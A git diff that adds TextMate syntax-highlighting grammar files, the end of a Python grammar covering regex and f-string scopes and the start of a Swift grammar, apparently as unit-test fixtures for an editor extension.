"patterns": [ + { + "name": "support.other.match.any.regexp", + "match": "\\." + }, + { + "name": "support.other.match.begin.regexp", + "match": "\\^" + }, + { + "name": "support.other.match.end.regexp", + "match": "\\$" + }, + { + "name": "keyword.operator.quantifier.regexp", + "match": "[+*?]\\??" + }, + { + "name": "keyword.operator.disjunction.regexp", + "match": "\\|" + }, + { + "include": "#regexp-escape-sequence" + } + ] + }, + "regexp-quantifier": { + "name": "keyword.operator.quantifier.regexp", + "match": "(?x)\n \\{(\n \\d+ | \\d+,(\\d+)? | ,\\d+\n )\\}\n" + }, + "fregexp-quantifier": { + "name": "keyword.operator.quantifier.regexp", + "match": "(?x)\n \\{\\{(\n \\d+ | \\d+,(\\d+)? | ,\\d+\n )\\}\\}\n" + }, + "regexp-backreference-number": { + "name": "meta.backreference.regexp", + "match": "(\\\\[1-9]\\d?)", + "captures": { + "1": { + "name": "entity.name.tag.backreference.regexp" + } + } + }, + "regexp-backreference": { + "name": "meta.backreference.named.regexp", + "match": "(?x)\n (\\() (\\?P= \\w+(?:\\s+[[:alnum:]]+)?) (\\))\n", + "captures": { + "1": { + "name": "support.other.parenthesis.regexp punctuation.parenthesis.backreference.named.begin.regexp" + }, + "2": { + "name": "entity.name.tag.named.backreference.regexp" + }, + "3": { + "name": "support.other.parenthesis.regexp punctuation.parenthesis.backreference.named.end.regexp" + } + } + }, + "regexp-flags": { + "name": "storage.modifier.flag.regexp", + "match": "\\(\\?[aiLmsux]+\\)" + }, + "regexp-escape-special": { + "name": "support.other.escape.special.regexp", + "match": "\\\\([AbBdDsSwWZ])" + }, + "regexp-escape-character": { + "name": "constant.character.escape.regexp", + "match": "(?x)\n \\\\ (\n x[0-9A-Fa-f]{2}\n | 0[0-7]{1,2}\n | [0-7]{3}\n )\n" + }, + "regexp-escape-unicode": { + "name": "constant.character.unicode.regexp", + "match": "(?x)\n \\\\ (\n u[0-9A-Fa-f]{4}\n | U[0-9A-Fa-f]{8}\n )\n" + }, + "regexp-escape-catchall": { + "name": "constant.character.escape.regexp", + "match": "\\\\(.|\\n)" + }, + "regexp-escape-sequence": { + "patterns": [ + { + "include": "#regexp-escape-special" + }, + { + "include": "#regexp-escape-character" + }, + { + "include": "#regexp-escape-unicode" + }, + { + "include": "#regexp-backreference-number" + }, + { + "include": "#regexp-escape-catchall" + } + ] + }, + "regexp-charecter-set-escapes": { + "patterns": [ + { + "name": "constant.character.escape.regexp", + "match": "\\\\[abfnrtv\\\\]" + }, + { + "include": "#regexp-escape-special" + }, + { + "name": "constant.character.escape.regexp", + "match": "\\\\([0-7]{1,3})" + }, + { + "include": "#regexp-escape-character" + }, + { + "include": "#regexp-escape-unicode" + }, + { + "include": "#regexp-escape-catchall" + } + ] + }, + "codetags": { + "match": "(?:\\b(NOTE|XXX|HACK|FIXME|BUG|TODO)\\b)", + "captures": { + "1": { + "name": "keyword.codetag.notation.python" + } + } + }, + "comments-base": { + "name": "comment.line.number-sign.python", + "begin": "(\\#)", + "beginCaptures": { + "1": { + "name": "punctuation.definition.comment.python" + } + }, + "end": "($)", + "patterns": [ + { + "include": "#codetags" + } + ] + }, + "comments-string-single-three": { + "name": "comment.line.number-sign.python", + "begin": "(\\#)", + "beginCaptures": { + "1": { + "name": "punctuation.definition.comment.python" + } + }, + "end": "($|(?='''))", + "patterns": [ + { + "include": "#codetags" + } + ] + }, + "comments-string-double-three": { + "name": "comment.line.number-sign.python", + "begin": "(\\#)", + "beginCaptures": { + "1": { + "name": "punctuation.definition.comment.python" + } + }, + "end": "($|(?=\"\"\"))", + "patterns": [ + { + "include": "#codetags" + } + ] + }, + "single-one-regexp-expression": { + "patterns": [ + { + "include": "#regexp-base-expression" + }, + { + "include": "#single-one-regexp-character-set" + }, + { + "include": "#single-one-regexp-comments" + }, + { + "include": "#regexp-flags" + }, + { + "include": "#single-one-regexp-named-group" + }, + { + "include": "#regexp-backreference" + }, + { + "include": "#single-one-regexp-lookahead" + }, + { + "include": "#single-one-regexp-lookahead-negative" + }, + { + "include": "#single-one-regexp-lookbehind" + }, + { + "include": "#single-one-regexp-lookbehind-negative" + }, + { + "include": "#single-one-regexp-conditional" + }, + { + "include": "#single-one-regexp-parentheses-non-capturing" + }, + { + "include": "#single-one-regexp-parentheses" + } + ] + }, + "single-one-regexp-character-set": { + "patterns": [ + { + "match": "(?x)\n \\[ \\^? \\] (?! .*?\\])\n" + }, + { + "name": "meta.character.set.regexp", + "begin": "(\\[)(\\^)?(\\])?", + "end": "(\\]|(?=\\'))|((?=(?)\n", + "end": "(\\)|(?=\\'))|((?=(?)\n", + "end": "(\\)|(?=\\'\\'\\'))", + "beginCaptures": { + "1": { + "name": "support.other.parenthesis.regexp punctuation.parenthesis.named.begin.regexp" + }, + "2": { + "name": "entity.name.tag.named.group.regexp" + } + }, + "endCaptures": { + "1": { + "name": "support.other.parenthesis.regexp punctuation.parenthesis.named.end.regexp" + }, + "2": { + "name": "invalid.illegal.newline.python" + } + }, + "patterns": [ + { + "include": "#single-three-regexp-expression" + }, + { + "include": "#comments-string-single-three" + } + ] + }, + "single-three-regexp-comments": { + "name": "comment.regexp", + "begin": "\\(\\?#", + "end": "(\\)|(?=\\'\\'\\'))", + "beginCaptures": { + "0": { + "name": "punctuation.comment.begin.regexp" + } + }, + "endCaptures": { + "1": { + "name": "punctuation.comment.end.regexp" + }, + "2": { + "name": "invalid.illegal.newline.python" + } + }, + "patterns": [ + { + "include": "#codetags" + } + ] + }, + "single-three-regexp-lookahead": { + "begin": "(\\()\\?=", + "end": "(\\)|(?=\\'\\'\\'))", + "beginCaptures": { + "0": { + "name": "keyword.operator.lookahead.regexp" + }, + "1": { + "name": "punctuation.parenthesis.lookahead.begin.regexp" + } + }, + "endCaptures": { + "1": { + "name": "keyword.operator.lookahead.regexp punctuation.parenthesis.lookahead.end.regexp" + }, + "2": { + "name": "invalid.illegal.newline.python" + } + }, + "patterns": [ + { + "include": "#single-three-regexp-expression" + }, + { + "include": "#comments-string-single-three" + } + ] + }, + "single-three-regexp-lookahead-negative": { + "begin": "(\\()\\?!", + "end": "(\\)|(?=\\'\\'\\'))", + "beginCaptures": { + "0": { + "name": "keyword.operator.lookahead.negative.regexp" + }, + "1": { + "name": "punctuation.parenthesis.lookahead.begin.regexp" + } + }, + "endCaptures": { + "1": { + "name": "keyword.operator.lookahead.negative.regexp punctuation.parenthesis.lookahead.end.regexp" + }, + "2": { + "name": "invalid.illegal.newline.python" + } + }, + "patterns": [ + { + "include": "#single-three-regexp-expression" + }, + { + "include": "#comments-string-single-three" + } + ] + }, + "single-three-regexp-lookbehind": { + "begin": "(\\()\\?<=", + "end": "(\\)|(?=\\'\\'\\'))", + "beginCaptures": { + "0": { + "name": "keyword.operator.lookbehind.regexp" + }, + "1": { + "name": "punctuation.parenthesis.lookbehind.begin.regexp" + } + }, + "endCaptures": { + "1": { + "name": "keyword.operator.lookbehind.regexp punctuation.parenthesis.lookbehind.end.regexp" + }, + "2": { + "name": "invalid.illegal.newline.python" + } + }, + "patterns": [ + { + "include": "#single-three-regexp-expression" + }, + { + "include": "#comments-string-single-three" + } + ] + }, + "single-three-regexp-lookbehind-negative": { + "begin": "(\\()\\?)\n", + "end": "(\\)|(?=\"))|((?=(?)\n", + "end": "(\\)|(?=\"\"\"))", + "beginCaptures": { + "1": { + "name": "support.other.parenthesis.regexp punctuation.parenthesis.named.begin.regexp" + }, + "2": { + "name": "entity.name.tag.named.group.regexp" + } + }, + "endCaptures": { + "1": { + "name": "support.other.parenthesis.regexp punctuation.parenthesis.named.end.regexp" + }, + "2": { + "name": "invalid.illegal.newline.python" + } + }, + "patterns": [ + { + "include": "#double-three-regexp-expression" + }, + { + "include": "#comments-string-double-three" + } + ] + }, + "double-three-regexp-comments": { + "name": "comment.regexp", + "begin": "\\(\\?#", + "end": "(\\)|(?=\"\"\"))", + "beginCaptures": { + "0": { + "name": "punctuation.comment.begin.regexp" + } + }, + "endCaptures": { + "1": { + "name": "punctuation.comment.end.regexp" + }, + "2": { + "name": "invalid.illegal.newline.python" + } + }, + "patterns": [ + { + "include": "#codetags" + } + ] + }, + "double-three-regexp-lookahead": { + "begin": "(\\()\\?=", + "end": "(\\)|(?=\"\"\"))", + "beginCaptures": { + "0": { + "name": "keyword.operator.lookahead.regexp" + }, + "1": { + "name": "punctuation.parenthesis.lookahead.begin.regexp" + } + }, + "endCaptures": { + "1": { + "name": "keyword.operator.lookahead.regexp punctuation.parenthesis.lookahead.end.regexp" + }, + "2": { + "name": "invalid.illegal.newline.python" + } + }, + "patterns": [ + { + "include": "#double-three-regexp-expression" + }, + { + "include": "#comments-string-double-three" + } + ] + }, + "double-three-regexp-lookahead-negative": { + "begin": "(\\()\\?!", + "end": "(\\)|(?=\"\"\"))", + "beginCaptures": { + "0": { + "name": "keyword.operator.lookahead.negative.regexp" + }, + "1": { + "name": "punctuation.parenthesis.lookahead.begin.regexp" + } + }, + "endCaptures": { + "1": { + "name": "keyword.operator.lookahead.negative.regexp punctuation.parenthesis.lookahead.end.regexp" + }, + "2": { + "name": "invalid.illegal.newline.python" + } + }, + "patterns": [ + { + "include": "#double-three-regexp-expression" + }, + { + "include": "#comments-string-double-three" + } + ] + }, + "double-three-regexp-lookbehind": { + "begin": "(\\()\\?<=", + "end": "(\\)|(?=\"\"\"))", + "beginCaptures": { + "0": { + "name": "keyword.operator.lookbehind.regexp" + }, + "1": { + "name": "punctuation.parenthesis.lookbehind.begin.regexp" + } + }, + "endCaptures": { + "1": { + "name": "keyword.operator.lookbehind.regexp punctuation.parenthesis.lookbehind.end.regexp" + }, + "2": { + "name": "invalid.illegal.newline.python" + } + }, + "patterns": [ + { + "include": "#double-three-regexp-expression" + }, + { + "include": "#comments-string-double-three" + } + ] + }, + "double-three-regexp-lookbehind-negative": { + "begin": "(\\()\\?=^]? [-+ ]? \\#?\n \\d* ,? (\\.\\d+)? [bcdeEfFgGnosxX%]? )(?=})\n", + "captures": { + "1": { + "name": "storage.type.format.python" + }, + "2": { + "name": "storage.type.format.python" + } + } + }, + { + "include": "#fstring-terminator-single-tail" + } + ] + }, + "fstring-terminator-single-tail": { + "begin": "((?:=?)(?:![rsa])?)(:)(?=.*?{)", + "end": "(?=})|(?=\\n)", + "beginCaptures": { + "1": { + "name": "storage.type.format.python" + }, + "2": { + "name": "storage.type.format.python" + } + }, + "patterns": [ + { + "include": "#fstring-illegal-single-brace" + }, + { + "include": "#fstring-single-brace" + }, + { + "name": "storage.type.format.python", + "match": "([bcdeEfFgGnosxX%])(?=})" + }, + { + "name": "storage.type.format.python", + "match": "(\\.\\d+)" + }, + { + "name": "storage.type.format.python", + "match": "(,)" + }, + { + "name": "storage.type.format.python", + "match": "(\\d+)" + }, + { + "name": "storage.type.format.python", + "match": "(\\#)" + }, + { + "name": "storage.type.format.python", + "match": "([-+ ])" + }, + { + "name": "storage.type.format.python", + "match": "([<>=^])" + }, + { + "name": "storage.type.format.python", + "match": "(\\w)" + } + ] + }, + "fstring-fnorm-quoted-multi-line": { + "name": "meta.fstring.python", + "begin": "(\\b[fF])([bBuU])?('''|\"\"\")", + "end": "(\\3)", + "beginCaptures": { + "1": { + "name": "string.interpolated.python string.quoted.multi.python storage.type.string.python" + }, + "2": { + "name": "invalid.illegal.prefix.python" + }, + "3": { + "name": "punctuation.definition.string.begin.python string.interpolated.python string.quoted.multi.python" + } + }, + "endCaptures": { + "1": { + "name": "punctuation.definition.string.end.python string.interpolated.python string.quoted.multi.python" + }, + "2": { + "name": "invalid.illegal.newline.python" + } + }, + "patterns": [ + { + "include": "#fstring-guts" + }, + { + "include": "#fstring-illegal-multi-brace" + }, + { + "include": "#fstring-multi-brace" + }, + { + "include": "#fstring-multi-core" + } + ] + }, + "fstring-normf-quoted-multi-line": { + "name": "meta.fstring.python", + "begin": "(\\b[bBuU])([fF])('''|\"\"\")", + "end": "(\\3)", + "beginCaptures": { + "1": { + "name": "invalid.illegal.prefix.python" + }, + "2": { + "name": "string.interpolated.python string.quoted.multi.python storage.type.string.python" + }, + "3": { + "name": "punctuation.definition.string.begin.python string.quoted.multi.python" + } + }, + "endCaptures": { + "1": { + "name": "punctuation.definition.string.end.python string.interpolated.python string.quoted.multi.python" + }, + "2": { + "name": "invalid.illegal.newline.python" + } + }, + "patterns": [ + { + "include": "#fstring-guts" + }, + { + "include": "#fstring-illegal-multi-brace" + }, + { + "include": "#fstring-multi-brace" + }, + { + "include": "#fstring-multi-core" + } + ] + }, + "fstring-raw-quoted-multi-line": { + "name": "meta.fstring.python", + "begin": "(\\b(?:[rR][fF]|[fF][rR]))('''|\"\"\")", + "end": "(\\2)", + "beginCaptures": { + "1": { + "name": "string.interpolated.python string.quoted.raw.multi.python storage.type.string.python" + }, + "2": { + "name": "punctuation.definition.string.begin.python string.quoted.raw.multi.python" + } + }, + "endCaptures": { + "1": { + "name": "punctuation.definition.string.end.python string.interpolated.python string.quoted.raw.multi.python" + }, + "2": { + "name": "invalid.illegal.newline.python" + } + }, + "patterns": [ + { + "include": "#fstring-raw-guts" + }, + { + "include": "#fstring-illegal-multi-brace" + }, + { + "include": "#fstring-multi-brace" + }, + { + "include": "#fstring-raw-multi-core" + } + ] + }, + "fstring-multi-core": { + "name": "string.interpolated.python string.quoted.multi.python", + "match": "(?x)\n (.+?)\n (\n (?# .* and .*? in multi-line match need special handling of\n newlines otherwise SublimeText and Atom will match slightly\n differently.\n\n The guard for newlines has to be separate from the\n lookahead because of special $ matching rule.)\n ($\\n?)\n |\n (?=[\\\\\\}\\{]|'''|\"\"\")\n )\n (?# due to how multiline regexps are matched we need a special case\n for matching a newline character)\n | \\n\n" + }, + "fstring-raw-multi-core": { + "name": "string.interpolated.python string.quoted.raw.multi.python", + "match": "(?x)\n (.+?)\n (\n (?# .* and .*? in multi-line match need special handling of\n newlines otherwise SublimeText and Atom will match slightly\n differently.\n\n The guard for newlines has to be separate from the\n lookahead because of special $ matching rule.)\n ($\\n?)\n |\n (?=[\\\\\\}\\{]|'''|\"\"\")\n )\n (?# due to how multiline regexps are matched we need a special case\n for matching a newline character)\n | \\n\n" + }, + "fstring-multi-brace": { + "comment": "value interpolation using { ... }", + "begin": "(\\{)", + "end": "(?x)\n (\\})\n", + "beginCaptures": { + "1": { + "name": "constant.character.format.placeholder.other.python" + } + }, + "endCaptures": { + "1": { + "name": "constant.character.format.placeholder.other.python" + } + }, + "patterns": [ + { + "include": "#fstring-terminator-multi" + }, + { + "include": "#f-expression" + } + ] + }, + "fstring-terminator-multi": { + "patterns": [ + { + "name": "storage.type.format.python", + "match": "(=(![rsa])?)(?=})" + }, + { + "name": "storage.type.format.python", + "match": "(=?![rsa])(?=})" + }, + { + "match": "(?x)\n ( (?: =?) (?: ![rsa])? )\n ( : \\w? [<>=^]? [-+ ]? \\#?\n \\d* ,? (\\.\\d+)? [bcdeEfFgGnosxX%]? )(?=})\n", + "captures": { + "1": { + "name": "storage.type.format.python" + }, + "2": { + "name": "storage.type.format.python" + } + } + }, + { + "include": "#fstring-terminator-multi-tail" + } + ] + }, + "fstring-terminator-multi-tail": { + "begin": "((?:=?)(?:![rsa])?)(:)(?=.*?{)", + "end": "(?=})", + "beginCaptures": { + "1": { + "name": "storage.type.format.python" + }, + "2": { + "name": "storage.type.format.python" + } + }, + "patterns": [ + { + "include": "#fstring-illegal-multi-brace" + }, + { + "include": "#fstring-multi-brace" + }, + { + "name": "storage.type.format.python", + "match": "([bcdeEfFgGnosxX%])(?=})" + }, + { + "name": "storage.type.format.python", + "match": "(\\.\\d+)" + }, + { + "name": "storage.type.format.python", + "match": "(,)" + }, + { + "name": "storage.type.format.python", + "match": "(\\d+)" + }, + { + "name": "storage.type.format.python", + "match": "(\\#)" + }, + { + "name": "storage.type.format.python", + "match": "([-+ ])" + }, + { + "name": "storage.type.format.python", + "match": "([<>=^])" + }, + { + "name": "storage.type.format.python", + "match": "(\\w)" + } + ] + } + } +} diff --git a/test/unit-tests/syntaxes/swift.tmLanguage.json b/test/unit-tests/syntaxes/swift.tmLanguage.json new file mode 100644 index 000000000..de84ef126 --- /dev/null +++ b/test/unit-tests/syntaxes/swift.tmLanguage.json @@ -0,0 +1,4239 @@ +{ + "information_for_contributors": [ + "This file has been converted from https://github.com/jtbandes/swift-tmlanguage/blob/master/Swift.tmLanguage.json", + "If you want to provide a fix or improvement, please create a pull request against the original repository.", + "Once accepted there, we are happy to receive an update request." + ], + "version": "https://github.com/jtbandes/swift-tmlanguage/commit/b8d2889b4af1d8bad41578317a6adade642555a3", + "name": "Swift", + "scopeName": "source.swift", + "comment": "See swift.tmbundle/grammar-test.swift for test cases.", + "patterns": [ + { + "include": "#root" + } + ], + "repository": { + "async-throws": { + "match": "\\b(?:(throws\\s+async|rethrows\\s+async)|(throws|rethrows)|(async))\\b", + "captures": { + "1": { + "name": "invalid.illegal.await-must-precede-throws.swift" + }, + "2": { + "name": "storage.modifier.exception.swift" + }, + "3": { + "name": "storage.modifier.async.swift" + } + } + }, + "attributes": { + "patterns": [ + { + "name": "meta.attribute.available.swift", + "begin": "((@)available)(\\()", + "end": "\\)", + "beginCaptures": { + "1": { + "name": "storage.modifier.attribute.swift" + }, + "2": { + "name": "punctuation.definition.attribute.swift" + }, + "3": { + "name": "punctuation.definition.arguments.begin.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.definition.arguments.end.swift" + } + }, + "patterns": [ + { + "match": "\\b(swift|(?:iOS|macOS|OSX|watchOS|tvOS|visionOS|UIKitForMac)(?:ApplicationExtension)?)\\b(?:\\s+([0-9]+(?:\\.[0-9]+)*\\b))?", + "captures": { + "1": { + "name": "keyword.other.platform.os.swift" + }, + "2": { + "name": "constant.numeric.swift" + } + } + }, + { + "begin": "\\b(introduced|deprecated|obsoleted)\\s*(:)\\s*", + "end": "(?!\\G)", + "beginCaptures": { + "1": { + "name": "keyword.other.swift" + }, + "2": { + "name": "punctuation.separator.key-value.swift" + } + }, + "patterns": [ + { + "name": "constant.numeric.swift", + "match": "\\b[0-9]+(?:\\.[0-9]+)*\\b" + } + ] + }, + { + "begin": "\\b(message|renamed)\\s*(:)\\s*(?=\")", + "end": "(?!\\G)", + "beginCaptures": { + "1": { + "name": "keyword.other.swift" + }, + "2": { + "name": "punctuation.separator.key-value.swift" + } + }, + "patterns": [ + { + "include": "#literals" + } + ] + }, + { + "match": "(?:(\\*)|\\b(deprecated|unavailable|noasync)\\b)\\s*(.*?)(?=[,)])", + "captures": { + "1": { + "name": "keyword.other.platform.all.swift" + }, + "2": { + "name": "keyword.other.swift" + }, + "3": { + "name": "invalid.illegal.character-not-allowed-here.swift" + } + } + } + ] + }, + { + "name": "meta.attribute.objc.swift", + "begin": "((@)objc)(\\()", + "end": "\\)", + "beginCaptures": { + "1": { + "name": "storage.modifier.attribute.swift" + }, + "2": { + "name": "punctuation.definition.attribute.swift" + }, + "3": { + "name": "punctuation.definition.arguments.begin.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.definition.arguments.end.swift" + } + }, + "patterns": [ + { + "name": "entity.name.function.swift", + "match": "\\w*(?::(?:\\w*:)*(\\w*))?", + "captures": { + "1": { + "name": "invalid.illegal.missing-colon-after-selector-piece.swift" + } + } + } + ] + }, + { + "comment": "any other attribute", + "name": "meta.attribute.swift", + "begin": "(@)(?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*(\\k)", + "end": "(?!\\G\\()", + "beginCaptures": { + "0": { + "name": "storage.modifier.attribute.swift" + }, + "1": { + "name": "punctuation.definition.attribute.swift" + }, + "2": { + "name": "punctuation.definition.identifier.swift" + }, + "3": { + "name": "punctuation.definition.identifier.swift" + } + }, + "patterns": [ + { + "name": "meta.arguments.attribute.swift", + "begin": "\\(", + "end": "\\)", + "beginCaptures": { + "0": { + "name": "punctuation.definition.arguments.begin.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.definition.arguments.end.swift" + } + }, + "patterns": [ + { + "include": "#expressions" + } + ] + } + ] + } + ] + }, + "builtin-functions": { + "patterns": [ + { + "comment": "Member functions in the standard library in Swift 3 which may be used with trailing closures and no parentheses", + "name": "support.function.swift", + "match": "(?<=\\.)(?:s(?:ort(?:ed)?|plit)|contains|index|partition|f(?:i(?:lter|rst)|orEach|latMap)|with(?:MutableCharacters|CString|U(?:nsafe(?:Mutable(?:BufferPointer|Pointer(?:s|To(?:Header|Elements)))|BufferPointer)|TF8Buffer))|m(?:in|a(?:p|x)))(?=\\s*[({])\\b" + }, + { + "comment": "Member functions in the standard library in Swift 3", + "name": "support.function.swift", + "match": "(?<=\\.)(?:s(?:ymmetricDifference|t(?:oreBytes|arts|ride)|ortInPlace|u(?:ccessor|ffix|btract(?:ing|InPlace|WithOverflow)?)|quareRoot|amePosition)|h(?:oldsUnique(?:Reference|OrPinnedReference)|as(?:Suffix|Prefix))|ne(?:gate(?:d)?|xt)|c(?:o(?:untByEnumerating|py(?:Bytes)?)|lamp(?:ed)?|reate)|t(?:o(?:IntMax|Opaque|UIntMax)|ake(?:RetainedValue|UnretainedValue)|r(?:uncatingRemainder|a(?:nscodedLength|ilSurrogate)))|i(?:s(?:MutableAndUniquelyReferenced(?:OrPinned)?|S(?:trictSu(?:perset(?:Of)?|bset(?:Of)?)|u(?:perset(?:Of)?|bset(?:Of)?))|Continuation|T(?:otallyOrdered|railSurrogate)|Disjoint(?:With)?|Unique(?:Reference|lyReferenced(?:OrPinned)?)|Equal|Le(?:ss(?:ThanOrEqualTo)?|adSurrogate))|n(?:sert(?:ContentsOf)?|tersect(?:ion|InPlace)?|itialize(?:Memory|From)?|dex(?:Of|ForKey)))|o(?:verlaps|bjectAt)|d(?:i(?:stance(?:To)?|vide(?:d|WithOverflow)?)|e(?:s(?:cendant|troy)|code(?:CString)?|initialize|alloc(?:ate(?:Capacity)?)?)|rop(?:First|Last))|u(?:n(?:ion(?:InPlace)?|derestimateCount|wrappedOrError)|p(?:date(?:Value)?|percased))|join(?:ed|WithSeparator)|p(?:op(?:First|Last)|ass(?:Retained|Unretained)|re(?:decessor|fix))|e(?:scape(?:d)?|n(?:code|umerate(?:d)?)|lementsEqual|xclusiveOr(?:InPlace)?)|f(?:orm(?:Remainder|S(?:ymmetricDifference|quareRoot)|TruncatingRemainder|In(?:tersection|dex)|Union)|latten|rom(?:CString(?:RepairingIllFormedUTF8)?|Opaque))|w(?:i(?:thMemoryRebound|dth)|rite(?:To)?)|l(?:o(?:wercased|ad)|e(?:adSurrogate|xicographical(?:Compare|lyPrecedes)))|a(?:ss(?:ign(?:BackwardFrom|From)?|umingMemoryBound)|d(?:d(?:ing(?:Product)?|Product|WithOverflow)?|vanced(?:By)?)|utorelease|ppend(?:ContentsOf)?|lloc(?:ate)?|bs)|r(?:ound(?:ed)?|e(?:serveCapacity|tain|duce|place(?:Range|Subrange)?|verse(?:d)?|quest(?:NativeBuffer|UniqueMutableBackingBuffer)|lease|m(?:ove(?:Range|Subrange|Value(?:ForKey)?|First|Last|A(?:tIndex|ll))?|ainder(?:WithOverflow)?)))|ge(?:nerate|t(?:Objects|Element))|m(?:in(?:imum(?:Magnitude)?|Element)|ove(?:Initialize(?:Memory|BackwardFrom|From)?|Assign(?:From)?)?|ultipl(?:y(?:WithOverflow)?|ied)|easure|a(?:ke(?:Iterator|Description)|x(?:imum(?:Magnitude)?|Element)))|bindMemory)(?=\\s*\\()" + }, + { + "comment": "Member functions in the standard library in Swift 2 only", + "name": "support.function.swift", + "match": "(?<=\\.)(?:s(?:uperclassMirror|amePositionIn|tartsWith)|nextObject|c(?:haracterAtIndex|o(?:untByEnumeratingWithState|pyWithZone)|ustom(?:Mirror|PlaygroundQuickLook))|is(?:EmptyInput|ASCII)|object(?:Enumerator|ForKey|AtIndex)|join|put|keyEnumerator|withUnsafeMutablePointerToValue|length|getMirror|m(?:oveInitializeAssignFrom|ember))(?=\\s*\\()" + } + ] + }, + "builtin-global-functions": { + "patterns": [ + { + "begin": "\\b(type)(\\()\\s*(of)(:)", + "end": "\\)", + "beginCaptures": { + "1": { + "name": "support.function.dynamic-type.swift" + }, + "2": { + "name": "punctuation.definition.arguments.begin.swift" + }, + "3": { + "name": "support.variable.parameter.swift" + }, + "4": { + "name": "punctuation.separator.argument-label.begin.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.definition.arguments.end.swift" + } + }, + "patterns": [ + { + "include": "#expressions" + } + ] + }, + { + "comment": "Global functions available in Swift 3 which may be used with trailing closures and no parentheses", + "name": "support.function.swift", + "match": "\\b(?:anyGenerator|autoreleasepool)(?=\\s*[({])\\b" + }, + { + "comment": "Global functions available in Swift 3", + "name": "support.function.swift", + "match": "\\b(?:s(?:tride(?:of(?:Value)?)?|izeof(?:Value)?|equence|wap)|numericCast|transcode|is(?:UniquelyReferenced(?:NonObjC)?|KnownUniquelyReferenced)|zip|d(?:ump|ebugPrint)|unsafe(?:BitCast|Downcast|Unwrap|Address(?:Of)?)|pr(?:int|econdition(?:Failure)?)|fatalError|with(?:Unsafe(?:MutablePointer|Pointer)|ExtendedLifetime|VaList)|a(?:ssert(?:ionFailure)?|lignof(?:Value)?|bs)|re(?:peatElement|adLine)|getVaList|m(?:in|ax))(?=\\s*\\()" + }, + { + "comment": "Global functions available in Swift 2 only", + "name": "support.function.swift", + "match": "\\b(?:s(?:ort|uffix|pli(?:ce|t))|insert|overlaps|d(?:istance|rop(?:First|Last))|join|prefix|extend|withUnsafe(?:MutablePointers|Pointers)|lazy|advance|re(?:flect|move(?:Range|Last|A(?:tIndex|ll))))(?=\\s*\\()" + } + ] + }, + "builtin-properties": { + "patterns": [ + { + "comment": "The simpler (?<=\\bProcess\\.|\\bCommandLine\\.) breaks VS Code / Atom, see https://github.com/textmate/swift.tmbundle/issues/29", + "name": "support.variable.swift", + "match": "(?<=^Process\\.|\\WProcess\\.|^CommandLine\\.|\\WCommandLine\\.)(arguments|argc|unsafeArgv)" + }, + { + "comment": "Properties in the standard library in Swift 3", + "name": "support.variable.swift", + "match": "(?<=\\.)(?:s(?:t(?:artIndex|ri(?:ngValue|de))|i(?:ze|gn(?:BitIndex|ificand(?:Bit(?:Count|Pattern)|Width)?|alingNaN)?)|u(?:perclassMirror|mmary|bscriptBaseAddress))|h(?:eader|as(?:hValue|PointerRepresentation))|n(?:ulTerminatedUTF8|ext(?:Down|Up)|a(?:n|tiveOwner))|c(?:haracters|ount(?:TrailingZeros)?|ustom(?:Mirror|PlaygroundQuickLook)|apacity)|i(?:s(?:S(?:ign(?:Minus|aling(?:NaN)?)|ubnormal)|N(?:ormal|aN)|Canonical|Infinite|Zero|Empty|Finite|ASCII)|n(?:dices|finity)|dentity)|owner|de(?:scription|bugDescription)|u(?:n(?:safelyUnwrapped|icodeScalar(?:s)?|derestimatedCount)|tf(?:16|8(?:Start|C(?:String|odeUnitCount))?)|intValue|ppercaseString|lp(?:OfOne)?)|p(?:i|ointee)|e(?:ndIndex|lements|xponent(?:Bit(?:Count|Pattern))?)|value(?:s)?|keys|quietNaN|f(?:irst(?:ElementAddress(?:IfContiguous)?)?|loatingPointClass)|l(?:ittleEndian|owercaseString|eastNo(?:nzeroMagnitude|rmalMagnitude)|a(?:st|zy))|a(?:l(?:ignment|l(?:ocatedElementCount|Zeros))|rray(?:PropertyIsNativeTypeChecked)?)|ra(?:dix|wValue)|greatestFiniteMagnitude|m(?:in|emory|ax)|b(?:yteS(?:ize|wapped)|i(?:nade|tPattern|gEndian)|uffer|ase(?:Address)?))\\b" + }, + { + "comment": "Properties in the standard library in Swift 2 only", + "name": "support.variable.swift", + "match": "(?<=\\.)(?:boolValue|disposition|end|objectIdentifier|quickLookObject|start|valueType)\\b" + }, + { + "comment": "Enum cases in the standard library - note that there is some overlap between these and the properties", + "name": "support.variable.swift", + "match": "(?<=\\.)(?:s(?:calarValue|i(?:ze|gnalingNaN)|o(?:und|me)|uppressed|prite|et)|n(?:one|egative(?:Subnormal|Normal|Infinity|Zero))|c(?:ol(?:or|lection)|ustomized)|t(?:o(?:NearestOr(?:Even|AwayFromZero)|wardZero)|uple|ext)|i(?:nt|mage)|optional|d(?:ictionary|o(?:uble|wn))|u(?:Int|p|rl)|p(?:o(?:sitive(?:Subnormal|Normal|Infinity|Zero)|int)|lus)|e(?:rror|mptyInput)|view|quietNaN|float|a(?:ttributedString|wayFromZero)|r(?:ectangle|ange)|generated|minus|b(?:ool|ezierPath))\\b" + } + ] + }, + "builtin-types": { + "comment": "Types provided in the standard library", + "patterns": [ + { + "include": "#builtin-types-builtin-class-type" + }, + { + "include": "#builtin-types-builtin-enum-type" + }, + { + "include": "#builtin-types-builtin-protocol-type" + }, + { + "include": "#builtin-types-builtin-struct-type" + }, + { + "include": "#builtin-types-builtin-typealias" + }, + { + "name": "support.type.any.swift", + "match": "\\bAny\\b" + } + ] + }, + "builtin-types-builtin-class-type": { + "comment": "Builtin class types", + "name": "support.class.swift", + "match": "\\b(Managed(Buffer|ProtoBuffer)|NonObjectiveCBase|AnyGenerator)\\b" + }, + "builtin-types-builtin-enum-type": { + "patterns": [ + { + "comment": "CommandLine is an enum, but it acts like a constant", + "name": "support.constant.swift", + "match": "\\b(?:CommandLine|Process(?=\\.))\\b" + }, + { + "comment": "The return type of a function that never returns", + "name": "support.constant.never.swift", + "match": "\\bNever\\b" + }, + { + "comment": "Enum types in the standard library in Swift 3", + "name": "support.type.swift", + "match": "\\b(?:ImplicitlyUnwrappedOptional|Representation|MemoryLayout|FloatingPointClassification|SetIndexRepresentation|SetIteratorRepresentation|FloatingPointRoundingRule|UnicodeDecodingResult|Optional|DictionaryIndexRepresentation|AncestorRepresentation|DisplayStyle|PlaygroundQuickLook|Never|FloatingPointSign|Bit|DictionaryIteratorRepresentation)\\b" + }, + { + 